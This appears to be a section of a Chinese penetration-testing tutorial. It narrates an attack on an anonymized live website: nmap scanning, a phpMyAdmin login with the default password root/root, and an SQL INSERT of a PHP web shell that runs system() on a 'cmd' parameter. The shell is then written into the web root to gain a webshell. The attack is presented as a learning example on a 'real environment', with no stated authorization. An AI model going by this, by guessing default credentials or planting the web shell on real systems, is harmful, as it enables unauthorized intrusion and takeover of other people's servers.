1.4 小试牛刀
本节作为第一章的最后一节,给大家展示一个渗透测试的简单示例。该示例操作简单,环境真实,主要是为了给您一个整体上的感知,同时提升学习渗透测试的兴趣。渗透测试的每一步并没有记录完整的细节信息。
首先,我选择了一个测试站点,下面对该站点www.xxxxoooo.cn,下面对其进行渗透测试。
1.4.1 信息搜集
whois查询
因为是cn域名,直接到http://ewhois.cnnic.net.cn查询,更方便。
结果如下:
服务指纹识别
很多个人站点,都没有自定义错误信息的习惯。在url上随便输入一个不存在的地址,看是否会返回有用的信息。
通过上图,我们知道该站点的应用程序由php编写,web服务器为Apathe/2.2.22,操作系统为Ubuntu。
下面我们通过指纹识别工具,进行识别。
在终端启动nmap,输入如下命令:
nmap -A -T4 www.xxxxoooo.cn
如图,识别出来的服务和系统信息与报错信息一致。
端口扫描
在终端执行如下命令,使用nmap的tcp半开扫描方式来扫描打开的端口。
nmap -sS <targetiste>
综合性扫描
该站点是需要登录的,所以在非登录情况下,常规扫描一般情况下意义不大。但是做一个基本的站点扫描还是必须的。当然很多工具是支持登录扫描的。
因为是web应用,一般情况下,我们是需要进行完整的web应用的漏洞扫描的。本实例忽略此步骤。
1.4.2 发现漏洞
对于web应用,我们通常从操作系统、服务、应用本身三个方面来挖掘漏洞。
从站点应用上分析,一般的php程序会安装phpmyadmin组件,用来管理数据库。google一下,我们就会知道phpmyadmin 默认安装在站点根目录下。测试一下当前站点是否也在默认目录下安装了phpmyadmin呢?
ok,确实存在phpmyadmin。
继续google “phpmyadmin 默认用户名密码”。Googele之后,我们知道:“phpMyAdmin默认使用的是MySQL的帐户和密码”。MySql的默认账户是root,默认密码是空,但是phpmyadmin是不允许空密码的。
继续 Google“inurl: phpmyadmin”,可以看到很多关于phpmyadmin的文章。
这些文章略过,google“hack phpmyadmin”,看看有什么发现?
在这篇文章《Hacking PHPMyadmin (when import.php deleted)》(https://www.facebook.com/learnadvhacking/posts/556247631077238)中,我注意到
很多站点都配置默认密码为root。是不是也可以尝试下呢?
输入用户名root,密码root,奇迹就这么出现了,直接登录管理后台。
进入后台之后,我们得到了更为详尽的信息,为我们下一步攻击打下了基础
1.4.3 攻击与权限维持
上面的步骤,我们完成了对网站数据库的攻击,其实拿到了网站数据库,就是拿到了整个网站的控制权。
如何利用phpmyadmin进行提权,从而得到服务器的控制权呢?
目前在phpmyadmin后台,我们可以操作表,向表中写数据,如果数据库有权限dump数据到web站点所在的文件夹,那么可以先将一个网马写到数据库再保存到磁盘本地,再从浏览器访问网马,是不是就可以了呢?
首先在phpmyadmin后台找到一个数据库,在“SQL”选项卡执行sql语句创建一个表“hacker”。
语句执行成功后,再插入一条数据,代码很简单,希望能用php的system函数执行系统指令。
INSERT INTO hacker (packet)
VALUES(
'<pre><body bgcolor=silver><? @system($_GET["cmd"]); ?></body></pre>'
);
下一步就是保存插入的记录到站点目录下,但是站点的物理路径是什么呢?我在观察页面请求链接的时候,发现一个404链接。
404链接的路径是http://www.xxxxx.cn/var/www/productions/22_production.zip。这个是进行网站开发时候常犯的静态链接的错误,那是不是说网站的根目录在”/var/www”下呢,我把去掉”/var/www”,文件可以被正常访问。其实这也是ubuntu默认的站点目录。接下来就试试有没有权限保存文件了。
经过一番查找,终于找到一个有写权限的目录,将网马写到web目录中,得到了webshell,接下来就不用详解了吧。
小结
这个简单的小例子,只是想告诉大家,渗透测试有什么并没有那么困难。也没有哪种方法,哪个工具或者平台是万能的,最重要的是你自己的努力和思考。